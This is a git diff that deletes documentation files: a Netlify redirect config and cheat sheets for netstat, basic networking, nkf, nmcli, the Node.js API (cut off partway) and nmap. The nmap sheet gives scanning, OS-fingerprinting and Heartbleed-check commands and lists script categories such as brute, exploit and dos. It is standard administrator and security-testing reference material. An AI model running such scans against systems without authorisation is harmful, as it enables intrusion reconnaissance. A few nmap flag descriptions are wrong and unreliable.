@@ -1,138 +0,0 @@
-[build]
-command = "yarn build"
-publish = "\_site/"
-
-[[redirects]]
-force = true
-from = "/flexbox"
-to = "/css-flexbox"
-
-[[redirects]]
-force = true
-from = "/flowtype"
-to = "/flow"
-
-[[redirects]]
-force = true
-from = "/gpgconf"
-to = "/gnupg"
-
-[[redirects]]
-force = true
-from = "/gpg"
-to = "/gnupg"
-
-[[redirects]]
-force = true
-from = "/gutom"
-to = "/ph-food-delivery"
-
-[[redirects]]
-force = true
-from = "/handlebars-js"
-to = "/handlebars.js"
-
-[[redirects]]
-force = true
-from = "/harvey-js"
-to = "/harvey.js"
-
-[[redirects]]
-force = true
-from = "/immutable-js"
-to = "/immutable.js"
-
-[[redirects]]
-force = true
-from = "/jade"
-to = "/pug"
-
-[[redirects]]
-force = true
-from = "/package"
-to = "/package-json"
-
-[[redirects]]
-force = true
-from = "/package.json"
-to = "/package-json"
-
-[[redirects]]
-force = true
-from = "/phoenix-ecto@1.3"
-to = "/phoenix-ecto"
-
-[[redirects]]
-force = true
-from = "/sh"
-to = "/bash"
-
-[[redirects]]
-force = true
-from = "/commander-js"
-to = "/commander.js"
-
-[[redirects]]
-force = true
-from = "/es2015"
-to = "/es6"
-
-[[redirects]]
-force = true
-from = "/es2016"
-to = "/es6"
-
-[[redirects]]
-force = true
-from = "/es2017"
-to = "/es6"
-
-[[redirects]]
-force = true
-from = "/es2018"
-to = "/es6"
-
-[[redirects]]
-force = true
-from = "/expect.js"
-to = "/expectjs"
-
-[[redirects]]
-force = true
-from = "/factory_girl"
-to = "/factory_bot"
-
-[[redirects]]
-force = true
-from = "/css-animation"
-to = "/css#animation"
-
-[[redirects]]
-force = true
-from = "/css-background"
-to = "/css#background"
-
-[[redirects]]
-force = true
-from = "/css-font"
-to = "/css#fonts"
-
-[[redirects]]
-force = true
-from = "/css-selectors"
-to = "/css#selectors"
-
-[[redirects]]
-force = true
-from = "/brew"
-to = "/homebrew"
-
-[[redirects]]
-force = true
-from = "/date"
-to = "/datetime"
-
-[[redirects]]
-force = true
-from = "/fetch"
-to = "/js-fetch"
diff --git a/docs/content/cheat-sheets/netstat.md b/docs/content/cheat-sheets/netstat.md
deleted file mode 100644
index b97288b202..0000000000
--- a/docs/content/cheat-sheets/netstat.md
+++ /dev/null
@@ -1,41 +0,0 @@
----
-tags: [networking]
----
-
-# WARNING ! netstat is deprecated. Look below.
-
-# To view which users/processes are listening to which ports:
-
-sudo netstat -lnptu
-
-# To view routing table (use -n flag to disable DNS lookups):
-
-netstat -r
-
-# Which process is listening to port <port>
-
-netstat -pln | grep <port> | awk '{print $NF}'
-
-# Example output: 1507/python
-
-# Fast display of ipv4 tcp listening programs
-
-sudo netstat -vtlnp --listening -4
-
-# WARNING ! netstat is deprecated.
-
-# Replace it by:
-
-ss
-
-# For netstat -r
-
-ip route
-
-# For netstat -i
-
-ip -s link
-
-# For netstat -g
-
-ip maddr
diff --git a/docs/content/cheat-sheets/networking_cheatsheet-1.md b/docs/content/cheat-sheets/networking_cheatsheet-1.md
deleted file mode 100644
index c49ed63243..0000000000
--- a/docs/content/cheat-sheets/networking_cheatsheet-1.md
+++ /dev/null
@@ -1 +0,0 @@
-# networking_cheatsheet
diff --git a/docs/content/cheat-sheets/networking_cheatsheet-2.md b/docs/content/cheat-sheets/networking_cheatsheet-2.md
deleted file mode 100644
index d1d0e1d83a..0000000000
--- a/docs/content/cheat-sheets/networking_cheatsheet-2.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# networking_cheatsheet
-
-Networking
-
-### Transport
-
-1. UDP >> UDP is a connectionless protocol
-2. TCP is a connection-oriented protocol
-
-### DNS Record Types
-
-1. SOA - Start of Authority record points to the primary authority for the domain we're querying
-2. NS - Name Servers
-
--   directory for devices and the IP addresses attached to them
--   translate domain names into numerical IP addresses
-
-1. A / AAAA - record that maps directly to an IP address
-2. CNAME - record that acts as an alias
-3. MX - Mail Exchanger - used for e-mail
-
-### Network Hardware
-
-#### Router
-
--   contains internal addresses of each device connected to router
--   can join different networks, a feature switches and hubs cannot do
--   performs NAT (network address translation)
--   NAT allows router a single IP address
--   router can direct traffic to the appropriate address
-
-### Switch
-
--   contains the MAC (media access control) address of all - connected devices
--   flood - send to ALL connected devices "
--   forward - send to a particular device
--   filter - drop data entirely
-
-## Switch
-
--   no network management ,,,
--   signal splitter
--   duplicates data and broadcasts it to ALL connected devices
diff --git a/docs/content/cheat-sheets/networking_cheatsheet.md b/docs/content/cheat-sheets/networking_cheatsheet.md
deleted file mode 100644
index c49ed63243..0000000000
--- a/docs/content/cheat-sheets/networking_cheatsheet.md
+++ /dev/null
@@ -1 +0,0 @@
-# networking_cheatsheet
diff --git a/docs/content/cheat-sheets/nkf.md b/docs/content/cheat-sheets/nkf.md
deleted file mode 100644
index fbf100c301..0000000000
--- a/docs/content/cheat-sheets/nkf.md
+++ /dev/null
@@ -1,39 +0,0 @@
-# To check the file's charactor code:
-
-nkf -g <file>
-
-# To convert charactor code to UTF-8:
-
-nkf -w --overwrite <file>
-
-# To convert charactor code to EUC-JP:
-
-nkf -e --overwrite <file>
-
-# To convert charactor code to Shift-JIS:
-
-nkf -s --overwrite <file>
-
-# To convert charactor code to ISO-2022-JP:
-
-nkf -j --overwrite <file>
-
-# To convert newline to LF:
-
-nkf -Lu --overwrite <file>
-
-# To convert newline to CRLF:
-
-nkf -Lw --overwrite <file>
-
-# To convert newline to CR:
-
-nkf -Lm --overwrite <file>
-
-# To MIME encode:
-
-echo テスト | nkf -WwMQ
-
-# To MIME decode:
-
-echo "=E3=83=86=E3=82=B9=E3=83=88" | nkf -WwmQ
diff --git a/docs/content/cheat-sheets/nmap.md b/docs/content/cheat-sheets/nmap.md
deleted file mode 100644
index c283808c8d..0000000000
--- a/docs/content/cheat-sheets/nmap.md
+++ /dev/null
@@ -1,139 +0,0 @@
----
-tags: [networking]
----
-
-# Single target scan:
-
-nmap [target]
-
-# Scan from a list of targets:
-
-nmap -iL [list.txt]
-
-# iPv6:
-
-nmap -6 [target]
-
-# OS detection:
-
-nmap -O --osscan_guess [target]
-
-# Save output to text file:
-
-nmap -oN [output.txt] [target]
-
-# Save output to xml file:
-
-nmap -oX [output.xml] [target]
-
-# Scan a specific port:
-
-nmap -source-port [port] [target]
-
-# Do an aggressive scan:
-
-nmap -A [target]
-
-# Speedup your scan:
-
-# -n => disable ReverseDNS
-
-# --min-rate=X => min X packets / sec
-
-nmap -T5 --min-parallelism=50 -n --min-rate=300 [target]
-
-# Traceroute:
-
-nmap -traceroute [target]
-
-# Ping scan only: -sP
-
-# Don't ping: -PN <- Use full if a host don't reply to a ping.
-
-# TCP SYN ping: -PS
-
-# TCP ACK ping: -PA
-
-# UDP ping: -PU
-
-# ARP ping: -PR
-
-# Example: Ping scan all machines on a class C network
-
-nmap -sP 192.168.0.0/24
-
-# Force TCP scan: -sT
-
-# Force UDP scan: -sU
-
-# Use some script:
-
-nmap --script default,safe
-
-# Loads the script in the default category, the banner script, and all .nse files in the directory /home/user/customscripts.
-
-nmap --script default,banner,/home/user/customscripts
-
-# Loads all scripts whose name starts with http-, such as http-auth and http-open-proxy.
-
-nmap --script 'http-\*'
-
-# Loads every script except for those in the intrusive category.
-
-nmap --script "not intrusive"
-
-# Loads those scripts that are in both the default and safe categories.
-
-nmap --script "default and safe"
-
-# Loads scripts in the default, safe, or intrusive categories, except for those whose names start with http-.
-
-nmap --script "(default or safe or intrusive) and not http-\*"
-
-# Scan for the heartbleed
-
-# -pT:443 => Scan only port 443 with TCP (T:)
-
-nmap -T5 --min-parallelism=50 -n --script "ssl-heartbleed" -pT:443 127.0.0.1
-
-# Show all informations (debug mode)
-
-nmap -d ...
-
-## Port Status Information
-
--   Open: This indicates that an application is listening for connections on this port.
--   Closed: This indicates that the probes were received but there is no application listening on this port.
--   Filtered: This indicates that the probes were not received and the state could not be established. It also indicates that the probes are being dropped by some kind of filtering.
--   Unfiltered: This indicates that the probes were received but a state could not be established.
--   Open/Filtered: This indicates that the port was filtered or open but Nmap couldn't establish the state.
--   Closed/Filtered: This indicates that the port was filtered or closed but Nmap couldn't establish the state.
-
-## Additional Scan Types
-
-nmap -sn: Probe only (host discovery, not port scan)
-nmap -sS: SYN Scan
-nmap -sT: TCP Connect Scan
-nmap -sU: UDP Scan
-nmap -sV: Version Scan
-nmap -O: Used for OS Detection/fingerprinting
-nmap --scanflags: Sets custom list of TCP using `URG ACK PSH RST SYN FIN` in any order
-
-### Nmap Scripting Engine Categories
-
-The most common Nmap scripting engine categories:
-
--   auth: Utilize credentials or bypass authentication on target hosts.
--   broadcast: Discover hosts not included on command line by broadcasting on local network.
--   brute: Attempt to guess passwords on target systems, for a variety of protocols, including http, SNMP, IAX, MySQL, VNC, etc.
--   default: Scripts run automatically when -sC or -A are used.
--   discovery: Try to learn more information about target hosts through public sources of information, SNMP, directory services, and more.
--   dos: May cause denial of service conditions in target hosts.
--   exploit: Attempt to exploit target systems.
--   external: Interact with third-party systems not included in target list.
--   fuzzer: Send unexpected input in network protocol fields.
--   intrusive: May crash target, consume excessive resources, or otherwise impact target machines in a malicious fashion.
--   malware: Look for signs of malware infection on the target hosts.
--   safe: Designed not to impact target in a negative fashion.
--   version: Measure the version of software or protocols on the target hosts.
--   vul: Measure whether target systems have a known vulnerability.
diff --git a/docs/content/cheat-sheets/nmcli.md b/docs/content/cheat-sheets/nmcli.md
deleted file mode 100644
index 4cd704effc..0000000000
--- a/docs/content/cheat-sheets/nmcli.md
+++ /dev/null
@@ -1,63 +0,0 @@
----
-tags: [networking]
----
-
-# Connect to a wireless access point - Parameters:
-
-# <wiface> -- the name of your wireless interface
-
-# <ssid> -- the SSID of the access point
-
-# <pass> -- the WiFi password
-
-nmcli d wifi connect <ssid> password <pass> iface <wiface>
-
-# Disconnect from WiFi - Parameters:
-
-# <wiface> -- the name of your wireless interface
-
-nmcli d wifi disconnect iface <wiface>
-
-# Get WiFi status (enabled / disabled)
-
-nmcli radio wifi
-
-# Enable / Disable WiFi
-
-nmcli radio wifi <on|off>
-
-# Show all available WiFi access points
-
-nmcli dev wifi list
-
-# Refresh the available WiFi connection list
-
-nmcli dev wifi rescan
-
-# Show all available connections
-
-nmcli con
-
-# Show only active connections
-
-nmcli con show --active
-
-# Review the available devices
-
-nmcli dev status
-
-# Add a dynamic ethernet connection - parameters:
-
-# <name> -- the name of the connection
-
-# <iface_name> -- the name of the interface
-
-nmcli con add type ethernet con-name <name> ifname <iface_name>
-
-# Import OpenVPN connection settings from file:
-
-nmcli con import type openvpn file <path_to_ovpn_file>
-
-# Bring up the ethernet connection
-
-nmcli con up <name>
diff --git a/docs/content/cheat-sheets/node.js b/docs/content/cheat-sheets/node.js
deleted file mode 100644
index ed26aca3f7..0000000000
--- a/docs/content/cheat-sheets/node.js
+++ /dev/null
@@ -1,489 +0,0 @@
-/* *******************************************************************************************
- * SYNOPSIS
- * http://nodejs.org/api/synopsis.html
-//?---------------------------------------------------------------------------\\
-*/
-
-var http = require( 'http' );
-//? An example of a web server written with Node which responds with 'Hello World'.
-//? To run the server, put the code into a file called example.js and execute it with the node program.
-http.createServer( function ( request, response ) {
-  response.writeHead( 200, {
-    'Content-Type': 'text/plain'
-  } );
-  response.end( 'Hello World\n' );
-} ).listen( 8124 );
-console.log( 'Server running at http://127.0.0.1:8124/' );
-
-/* *******************************************************************************************
- * GLOBAL OBJECTS
- * http://nodejs.org/api/globals.html
-//?---------------------------------------------------------------------------\\
-*/
-
-//? In browsers, the top-level scope is the global scope.
-//? That means that in browsers if you're in the global scope var something will define a global variable.
-//? In Node this is different. The top-level scope is not the global scope; var something inside a Node module will be local to that module.
-__filename; //? The filename of the code being executed. (absolute path)
-__dirname; //? The name of the directory that the currently executing script resides in. (absolute path)
-module; //? A reference to the current module. In particular module.exports is used for defining what a module exports and makes available through require().
-exports; //? A reference to the module.exports that is shorter to type.
-process; //? The process object is a global object and can be accessed from anywhere. It is an instance of EventEmitter.
-Buffer; //? The Buffer class is a global type for dealing with binary data directly.
-
-/* *******************************************************************************************
- * CONSOLE
- * http://nodejs.org/api/console.html
-//?---------------------------------------------------------------------------\\
-*/
-
-console.log( [ data ], [ ... ] ); //? Prints to stdout with newline.
-console.info( [ data ], [ ... ] ); //? Same as console.log.
-console.error( [ data ], [ ... ] ); //? Same as console.log but prints to stderr.
-console.warn( [ data ], [ ... ] ); //? Same as console.error.
-console.dir( obj ); //? Uses util.inspect on obj and prints resulting string to stdout.
-console.time( label ); //? Mark a time.
-console.timeEnd( label ); //? Finish timer, record output.
-console.trace( label ); //? Print a stack trace to stderr of the current position.
-console.assert( expression, [ message ] ); //? Same as assert.ok() where if the expression evaluates as false throw an AssertionError with message.
-
-/* *******************************************************************************************
- * TIMERS
- * http://nodejs.org/api/timers.html
-//?---------------------------------------------------------------------------\\
-*/
-
-setTimeout( callback, delay, [ arg ], [ ... ] ); //? To schedule execution of a one-time callback after delay milliseconds. Optionally you can also pass arguments to the callback.
-clearTimeout( t ); //? Stop a timer that was previously created with setTimeout().
-setInterval( callback, delay, [ arg ], [ ... ] ); //? To schedule the repeated execution of callback every delay milliseconds. Optionally you can also pass arguments to the callback.
-clearInterval( t ); //? Stop a timer that was previously created with setInterval().
-setImmediate( callback, [ arg ], [ ... ] ); //? To schedule the "immediate" execution of callback after I/O events callbacks and before setTimeout and setInterval.
-clearImmediate( immediateObject ); //? Stop a timer that was previously created with setImmediate().
-unref(); //? Allow you to create a timer that is active but if it is the only item left in the event loop, node won't keep the program running.
-ref(); //? If you had previously unref()d a timer you can call ref() to explicitly request the timer hold the program open.
-
-/* *******************************************************************************************
- * MODULES
- * http://nodejs.org/api/modules.html
-//?---------------------------------------------------------------------------\\
-*/
-
-var module = require( './module.js.js' ); //? Loads the module module.js in the same directory.
-module.require( './another_module.js' ); //? load another_module as if require() was called from the module itself.
-module.id; //? The identifier for the module. Typically this is the fully resolved filename.
-module.filename; //? The fully resolved filename to the module.
-module.loaded; //? Whether or not the module is done loading, or is in the process of loading.
-module.parent; //? The module that required this one.
-module.children; //? The module objects required by this one.
-exports.area = function ( r ) {
-  return Math.PI * r * r;
-};
-//? If you want the root of your module's export to be a function (such as a constructor)
-//? or if you want to export a complete object in one assignment instead of building it one property at a time,
-//? assign it to module.exports instead of exports.
-module.exports = function ( width ) {
-  return {
-    area: function () {
-      return width * width;
-    }
-  };
-}
-
-/* *******************************************************************************************
- * PROCESS
- * http://nodejs.org/api/process.html
-//?---------------------------------------------------------------------------\\
-*/
-
-process.on( 'exit', function ( code ) {} ); //? Emitted when the process is about to exit
-process.on( 'uncaughtException', function ( err ) {} ); //? Emitted when an exception bubbles all the way back to the event loop. (should not be used)
-process.stdout; //? A writable stream to stdout.
-process.stderr; //? A writable stream to stderr.
-process.stdin; //? A readable stream for stdin.
-process.argv; //? An array containing the command line arguments.
-process.env; //? An object containing the user environment.
-process.execPath; //? This is the absolute pathname of the executable that started the process.
-process.execArgv; //? This is the set of node-specific command line options from the executable that started the process.
-process.arch; //? What processor architecture you're running on: 'arm', 'ia32', or 'x64'.
-process.config; //? An Object containing the JavaScript representation of the configure options that were used to compile the current node executable.
-process.pid; //? The PID of the process.
-process.platform; //? What platform you're running on: 'darwin', 'freebsd', 'linux', 'sunos' or 'win32'.
-process.title; //? Getter/setter to set what is displayed in 'ps'.
-process.version; //? A compiled-in property t//?hat exposes NODE_VERSION.
-process.versions; //? A property exposing version strings of node and its dependencies.
-//?process.abort();          //? This causes node to emit an abort. This will cause node to exit and generate a core file.
-process.chdir( dir ); //? Changes the current working directory of the process or throws an exception if that fails.
-process.cwd(); //? Returns the current working directory of the process.
-//?process.exit([code]);     //? Ends the process with the specified code. If omitted, exit uses the 'success' code 0.
-process.getgid(); //? Gets the group identity of the process.
-process.setgid( id ); //? Sets the group identity of the process.
-process.getuid(); //? Gets the user identity of the process.
-process.setuid( id ); //? Sets the user identity of the process.
-process.getgroups(); //? Returns an array with the supplementary group IDs.
-process.setgroups( grps ); //? Sets the supplementary group IDs.
-process.initgroups( user, extra_grp ); //? Reads /etc/group and initializes the group access list, using all groups of which the user is a member.
-process.kill( pid, [ signal ] ); //? Send a signal to a process. pid is the process id and signal is the string describing the signal to send.
-process.memoryUsage(); //? Returns an object describing the memory usage of the Node process measured in bytes.
-process.nextTick( callback ); //? On the next loop around the event loop call this callback.
-process.maxTickDepth; //? Callbacks passed to process.nextTick will usually be called at the end of the current flow of execution, and are thus approximately as fast as calling a function synchronously.
-process.umask( [ mask ] ); //? Sets or reads the process's file mode creation mask.
-process.uptime(); //? Number of seconds Node has been running.
-process.hrtime(); //? Returns the current high-resolution real time in a [seconds, nanoseconds] tuple Array.
-
-/* *******************************************************************************************
- * CHILD PROCESS
- * http://nodejs.org/api/child_process.html
-//?---------------------------------------------------------------------------\\
-*/
-
-//? Node provides a tri-directional popen facility through the child_process module.
-//? It is possible to stream data through a child's stdin, stdout, and stderr in a fully non-blocking way.
-ChildProcess; //? Class. ChildProcess is an EventEmitter.
-child.stdin; //? A Writable Stream that represents the child process's stdin
-child.stdout; //? A Readable Stream that represents the child process's stdout
-child.stderr; //? A Readable Stream that represents the child process's stderr.
-child.pid; //? The PID of the child process
-child.connected; //? If .connected is false, it is no longer possible to send messages
-child.kill( [ signal ] ); //? Send a signal to the child process
-child.send( message, [ sendHandle ] ); //? When using child_process.fork() you can write to the child using child.send(message, [sendHandle]) and messages are received by a 'message' event on the child.
-child.disconnect(); //? Close the IPC channel between parent and child, allowing the child to exit gracefully once there are no other connections keeping it alive.
-child_process.spawn( command, [ args ], [ options ] ); //? Launches a new process with the given command, with command line arguments in args. If omitted, args defaults to an empty Array.
-child_process.exec( command, [ options ], callback ); //? Runs a command in a shell and buffers the output.
-child_process.execFile( file, [ args ], [ options ], [ callback ] ); //? Runs a command in a shell and buffers the output.
-child_process.fork( modulePath, [ args ], [ options ] ); //? This is a special case of the spawn() functionality for spawning Node processes. In addition to having all the methods in a normal ChildProcess instance, the returned object has a communication channel built-in.
-
-/* *******************************************************************************************
- * UTIL
- * http://nodejs.org/api/util.html
-//?---------------------------------------------------------------------------\\
-*/
-
-//? These functions are in the module 'util'. Use require('util') to access them.
-util.format( format, [ ... ] ); //? Returns a formatted string using the first argument as a printf-like format. (%s, %d, %j)
-util.debug( string ); //? A synchronous output function. Will block the process and output string immediately to stderr.
-util.error( [ ... ] ); //? Same as util.debug() except this will output all arguments immediately to stderr.
-util.puts( [ ... ] ); //? A synchronous output function. Will block the process and output all arguments to stdout with newlines after each argument.
-util.print( [ ... ] ); //? A synchronous output function. Will block the process, cast each argument to a string then output to stdout. (no newlines)
-util.log( string ); //? Output with timestamp on stdout.
-util.inspect( object, [ opts ] ); //? Return a string representation of object, which is useful for debugging. (options: showHidden, depth, colors, customInspect)
-util.isArray( object ); //? Returns true if the given "object" is an Array. false otherwise.
-util.isRegExp( object ); //? Returns true if the given "object" is a RegExp. false otherwise.
-util.isDate( object ); //? Returns true if the given "object" is a Date. false otherwise.
-util.isError( object ); //? Returns true if the given "object" is an Error. false otherwise.
-util.promisify( fn ) //? Takes a function whose last argument is a callback and returns a version that returns promises.
-util.inherits( constructor, superConstructor ); //? Inherit the prototype methods from one constructor into another.
-
-/* *******************************************************************************************
- * EVENTS
- * http://nodejs.org/api/events.html
-//?---------------------------------------------------------------------------\\
-*/
-
-//? All objects which emit events are instances of events.EventEmitter. You can access this module by doing: require("events");
-//? To access the EventEmitter class, require('events').EventEmitter.
-//? All EventEmitters emit the event 'newListener' when new listeners are added and 'removeListener' when a listener is removed.
-emitter.addListener( event, listener ); //? Adds a listener to the end of the listeners array for the specified event.
-emitter.on( event, listener ); //? Same as emitter.addListener().
-emitter.once( event, listener ); //? Adds a one time listener for the event. This listener is invoked only the next time the event is fired, after which it is removed.
-emitter.removeListener( event, listener ); //? Remove a listener from the listener array for the specified event.
-emitter.removeAllListeners( [ event ] ); //? Removes all listeners, or those of the specified event.
-emitter.setMaxListeners( n ); //? By default EventEmitters will print a warning if more than 10 listeners are added for a particular event.
-emitter.listeners( event ); //? Returns an array of listeners for the specified event.
-emitter.emit( event, [ arg1 ], [ arg2 ], [ ... ] ); //? Execute each of the listeners in order with the supplied arguments. Returns true if event had listeners, false otherwise.
-EventEmitter.listenerCount( emitter, event ); //? Return the number of listeners for a given event.
-
-/* *******************************************************************************************
- * STREAM
- * http://nodejs.org/api/stream.html
-//?---------------------------------------------------------------------------\\
-*/
-
-//? A stream is an abstract interface implemented by various objects in Node. For example a request to an HTTP server is a stream, as is stdout.
-//? Streams are readable, writable, or both. All streams are instances of EventEmitter.
-//? The Readable stream interface is the abstraction for a source of data that you are reading from.
-//? In other words, data comes out of a Readable stream.
-//? A Readable stream will not start emitting data until you indicate that you are ready to receive it.
-//? Examples of readable streams include: http responses on the client, http requests on the server, fs read streams
-//? zlib streams, crypto streams, tcp sockets, child process stdout and stderr, process.stdin.
-var readable = getReadableStreamSomehow();
-readable.on( 'readable', function () {} ); //? When a chunk of data can be read from the stream, it will emit a 'readable' event.
-readable.on( 'data', function ( chunk ) {} ); //? If you attach a data event listener, then it will switch the stream into flowing mode, and data will be passed to your handler as soon as it is available.
-readable.on( 'end', function () {} ); //? This event fires when there will be no more data to read.
-readable.on( 'close', function () {} ); //? Emitted when the underlying resource (for example, the backing file descriptor) has been closed. Not all streams will emit this.
-readable.on( 'error', function () {} ); //? Emitted if there was an error receiving data.
-//? The read() method pulls some data out of the internal buffer and returns it. If there is no data available, then it will return null.
-//? This method should only be called in non-flowing mode. In flowing-mode, this method is called automatically until the internal buffer is drained.
-readable.read( [ size ] );
-readable.setEncoding( encoding ); //? Call this function to cause the stream to return strings of the specified encoding instead of Buffer objects.
-readable.resume(); //? This method will cause the readable stream to resume emitting data events.
-readable.pause(); //? This method will cause a stream in flowing-mode to stop emitting data events.
-readable.pipe( destination, [ options ] ); //? This method pulls all the data out of a readable stream, and writes it to the supplied destination, automatically managing the flow so that the destination is not overwhelmed by a fast readable stream.
-readable.unpipe( [ destination ] ); //? This method will remove the hooks set up for a previous pipe() call. If the destination is not specified, then all pipes are removed.
-readable.unshift( chunk ); //? This is useful in certain cases where a stream is being consumed by a parser, which needs to "un-consume" some data that it has optimistically pulled out of the source, so that the stream can be passed on to some other party.
-
-//? The Writable stream interface is an abstraction for a destination that you are writing data to.
-//? Examples of writable streams include: http requests on the client, http responses on the server, fs write streams,
-//? zlib streams, crypto streams, tcp sockets, child process stdin, process.stdout, process.stderr.
-var writer = getWritableStreamSomehow();
-writable.write( chunk, [ encoding ], [ callback ] ); //? This method writes some data to the underlying system, and calls the supplied callback once the data has been fully handled.
-writer.once( 'drain', write ); //? If a writable.write(chunk) call returns false, then the drain event will indicate when it is appropriate to begin writing more data to the stream.
-writable.end( [ chunk ], [ encoding ], [ callback ] ); //? Call this method when no more data will be written to the stream.
-writer.on( 'finish', function () {} ); //? When the end() method has been called, and all data has been flushed to the underlying system, this event is emitted.
-writer.on( 'pipe', function ( src ) {} ); //? This is emitted whenever the pipe() method is called on a readable stream, adding this writable to its set of destinations.
-writer.on( 'unpipe', function ( src ) {} ); //? This is emitted whenever the unpipe() method is called on a readable stream, removing this writable from its set of destinations.
-writer.on( 'error', function ( src ) {} ); //? Emitted if there was an error when writing or piping data.
-
-//? Duplex streams are streams that implement both the Readable and Writable interfaces. See above for usage.
-//? Examples of Duplex streams include: tcp sockets, zlib streams, crypto streams.
-//? Transform streams are Duplex streams where the output is in some way computed from the input. They implement both the Readable and Writable interfaces. See above for usage.
-//? Examples of Transform streams include: zlib streams, crypto streams.
-
-/* *******************************************************************************************
- * FILE SYSTEM
- * http://nodejs.org/api/fs.html
-//?---------------------------------------------------------------------------\\
-*/
-
-//? To use this module do require('fs').
-//? All the methods have asynchronous and synchronous forms.
-fs.rename( oldPath, newPath, callback ); //? Asynchronous rename. No arguments other than a possible exception are given to the completion callback.Asynchronous ftruncate. No arguments other than a possible exception are given to the completion callback.
-fs.renameSync( oldPath, newPath ); //? Synchronous rename.
-fs.ftruncate( fd, len, callback ); //? Asynchronous ftruncate. No arguments other than a possible exception are given to the completion callback.
-fs.ftruncateSync( fd, len ); //? Synchronous ftruncate.
-fs.truncate( path, len, callback ); //? Asynchronous truncate. No arguments other than a possible exception are given to the completion callback.
-fs.truncateSync( path, len ); //? Synchronous truncate.
-fs.chown( path, uid, gid, callback ); //? Asynchronous chown. No arguments other than a possible exception are given to the completion callback.
-fs.chownSync( path, uid, gid ); //? Synchronous chown.
-fs.fchown( fd, uid, gid, callback ); //? Asynchronous fchown. No arguments other than a possible exception are given to the completion callback.
-fs.fchownSync( fd, uid, gid ); //? Synchronous fchown.
-fs.lchown( path, uid, gid, callback ); //? Asynchronous lchown. No arguments other than a possible exception are given to the completion callback.
-fs.lchownSync( path, uid, gid ); //? Synchronous lchown.
-fs.chmod( path, mode, callback ); //? Asynchronous chmod. No arguments other than a possible exception are given to the completion callback.
-fs.chmodSync( path, mode ); //? Synchronous chmod.
-fs.fchmod( fd, mode, callback ); //? Asynchronous fchmod. No arguments other than a possible exception are given to the completion callback.
-fs.fchmodSync( fd, mode ); //? Synchronous fchmod.
-fs.lchmod( path, mode, callback ); //? Asynchronous lchmod. No arguments other than a possible exception are given to the completion callback.
-fs.lchmodSync( path, mode ); //? Synchronous lchmod.
-fs.stat( path, callback ); //? Asynchronous stat. The callback gets two arguments (err, stats) where stats is a fs.Stats object.
-fs.statSync( path ); //? Synchronous stat. Returns an instance of fs.Stats.
-fs.lstat( path, callback ); //? Asynchronous lstat. The callback gets two arguments (err, stats) where stats is a fs.Stats object. lstat() is identical to stat(), except that if path is a symbolic link, then the link itself is stat-ed, not the file that it refers to.
-fs.lstatSync( path ); //? Synchronous lstat. Returns an instance of fs.Stats.
-fs.fstat( fd, callback ); //? Asynchronous fstat. The callback gets two arguments (err, stats) where stats is a fs.Stats object. fstat() is identical to stat(), except that the file to be stat-ed is specified by the file descriptor fd.
-fs.fstatSync( fd ); //? Synchronous fstat. Returns an instance of fs.Stats.
-fs.link( srcpath, dstpath, callback ); //? Asynchronous link. No arguments other than a possible exception are given to the completion callback.
-fs.linkSync( srcpath, dstpath ); //? Synchronous link.
-fs.symlink( srcpath, dstpath, [ type ], callback ); //? Asynchronous symlink. No arguments other than a possible exception are given to the completion callback. The type argument can be set to 'dir', 'file', or 'junction' (default is 'file') and is only available on Windows (ignored on other platforms)
-fs.symlinkSync( srcpath, dstpath, [ type ] ); //? Synchronous symlink.
-fs.readlink( path, callback ); //? Asynchronous readlink. The callback gets two arguments (err, linkString).
-fs.readlinkSync( path ); //? Synchronous readlink. Returns the symbolic link's string value.
-fs.unlink( path, callback ); //? Asynchronous unlink. No arguments other than a possible exception are given to the completion callback.
-fs.unlinkSync( path ); //? Synchronous unlink.
-fs.realpath( path, [ cache ], callback ); //? Asynchronous realpath. The callback gets two arguments (err, resolvedPath).
-fs.realpathSync( path, [ cache ] ); //? Synchronous realpath. Returns the resolved path.
-fs.rmdir( path, callback ); //? Asynchronous rmdir. No arguments other than a possible exception are given to the completion callback.
-fs.rmdirSync( path ); //? Synchronous rmdir.
-fs.mkdir( path, [ mode ], callback ); //? Asynchronous mkdir. No arguments other than a possible exception are given to the completion callback. mode defaults to 0777.
-fs.mkdirSync( path, [ mode ] ); //? Synchronous mkdir.
-fs.readdir( path, callback ); //? Asynchronous readdir. Reads the contents of a directory. The callback gets two arguments (err, files) where files is an array of the names of the files in the directory excluding '.' and '..'.
-fs.readdirSync( path ); //? Synchronous readdir. Returns an array of filenames excluding '.' and '..'.
-fs.close( fd, callback ); //? Asynchronous close. No arguments other than a possible exception are given to the completion callback.
-fs.closeSync( fd ); //? Synchronous close.
-fs.open( path, flags, [ mode ], callback ); //? Asynchronous file open.
-fs.openSync( path, flags, [ mode ] ); //? Synchronous version of fs.open().
-fs.utimes( path, atime, mtime, callback ); //? Change file timestamps of the file referenced by the supplied path.
-fs.utimesSync( path, atime, mtime ); //? Synchronous version of fs.utimes().
-fs.futimes( fd, atime, mtime, callback ); //? Change the file timestamps of a file referenced by the supplied file descriptor.
-fs.futimesSync( fd, atime, mtime ); //? Synchronous version of fs.futimes().
-fs.fsync( fd, callback ); //? Asynchronous fsync. No arguments other than a possible exception are given to the completion callback.
-fs.fsyncSync( fd ); //? Synchronous fsync.
-fs.write( fd, buffer, offset, length, position, callback ); //? Write buffer to the file specified by fd.
-fs.writeSync( fd, buffer, offset, length, position ); //? Synchronous version of fs.write(). Returns the number of bytes written.
-fs.read( fd, buffer, offset, length, position, callback ); //? Read data from the file specified by fd.
-fs.readSync( fd, buffer, offset, length, position ); //? Synchronous version of fs.read. Returns the number of bytesRead.
-fs.readFile( filename, [ options ], callback ); //? Asynchronously reads the entire contents of a file.
-fs.readFileSync( filename, [ options ] ); //? Synchronous version of fs.readFile. Returns the contents of the filename. If the encoding option is specified then this function returns a string. Otherwise it returns a buffer.
-fs.writeFile( filename, data, [ options ], callback ); //? Asynchronously writes data to a file, replacing the file if it already exists. data can be a string or a buffer.
-fs.writeFileSync( filename, data, [ options ] ); //? The synchronous version of fs.writeFile.
-fs.appendFile( filename, data, [ options ], callback ); //? Asynchronously append data to a file, creating the file if it not yet exists. data can be a string or a buffer.
-fs.appendFileSync( filename, data, [ options ] ); //? The synchronous version of fs.appendFile.
-fs.watch( filename, [ options ], [ listener ] ); //? Watch for changes on filename, where filename is either a file or a directory. The returned object is a fs.FSWatcher. The listener callback gets two arguments (event, filename). event is either 'rename' or 'change', and filename is the name of the file which triggered the event.
-fs.exists( path, callback ); //? Test whether or not the given path exists by checking with the file system. Then call the callback argument with either true or false. (should not be used)
-fs.existsSync( path ); //? Synchronous version of fs.exists. (should not be used)
